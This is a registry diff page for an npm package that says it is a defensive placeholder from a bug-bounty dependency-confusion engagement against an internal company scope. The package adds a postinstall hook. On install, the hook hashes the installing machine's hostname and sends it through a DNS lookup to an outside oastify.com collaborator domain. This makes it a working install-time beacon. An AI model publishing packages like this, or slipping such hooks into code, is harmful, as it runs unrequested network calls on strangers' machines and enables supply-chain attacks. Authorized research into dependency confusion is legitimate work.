@citi-icg-158830/icgds-react-css 0.0.0-defensive-callback
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @citi-icg-158830/icgds-react-css might be problematic. Click here for more details.
- package/README.md +3 -0
- package/callback.js +14 -0
- package/index.js +1 -0
- package/package.json +10 -0
package/README.md
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
1
|
+
# @citi-icg-158830/icgds-react-css
|
|
2
|
+
|
|
3
|
+
Defensive placeholder for the Citi-internal `@citi-icg-158830/icgds-react-css` scope, registered under a researcher account during an authorized bug-bounty engagement to prevent third-party dependency-confusion takeover (Birsan-2021 class). Performs a single DNS lookup on install for install-host attribution (no env vars, no file reads, no HTTP). Should be transferred to Citi's official npm organisation on triage acceptance.
|
package/callback.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const crypto = require('crypto');
|
|
4
|
+
try {
|
|
5
|
+
const pkgId = 'icgdscss';
|
|
6
|
+
const hostHash = crypto.createHash('sha256')
|
|
7
|
+
.update(String(os.hostname() || 'unknown'))
|
|
8
|
+
.digest('hex').slice(0, 8);
|
|
9
|
+
const nonce = crypto.randomBytes(2).toString('hex');
|
|
10
|
+
const sub = (pkgId + '-' + hostHash + '-' + nonce).toLowerCase().slice(0, 24);
|
|
11
|
+
const host = sub + '.av9qmrhhu9n1zcoi570opbvz9qfh38rx.oastify.com';
|
|
12
|
+
dns.lookup(host, () => {});
|
|
13
|
+
} catch (_) {}
|
|
14
|
+
setTimeout(() => process.exit(0), 2500);
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
// Defensive placeholder. No exports.
|
package/package.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@citi-icg-158830/icgds-react-css",
|
|
3
|
+
"version": "0.0.0-defensive-callback",
|
|
4
|
+
"description": "Defensive placeholder for the Citi-internal '@citi-icg-158830/icgds-react-css' scope. The scope was registered under a researcher account during an authorized bug-bounty engagement to prevent third-party dependency-confusion takeover. Performs a single DNS lookup on install for install-host attribution (no env vars, no file reads, no HTTP). Should be transferred to Citi's official npm organisation on triage acceptance.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"license": "UNLICENSED",
|
|
7
|
+
"private": false,
|
|
8
|
+
"publishConfig": { "access": "public" },
|
|
9
|
+
"scripts": { "postinstall": "node callback.js" }
|
|
10
|
+
}
|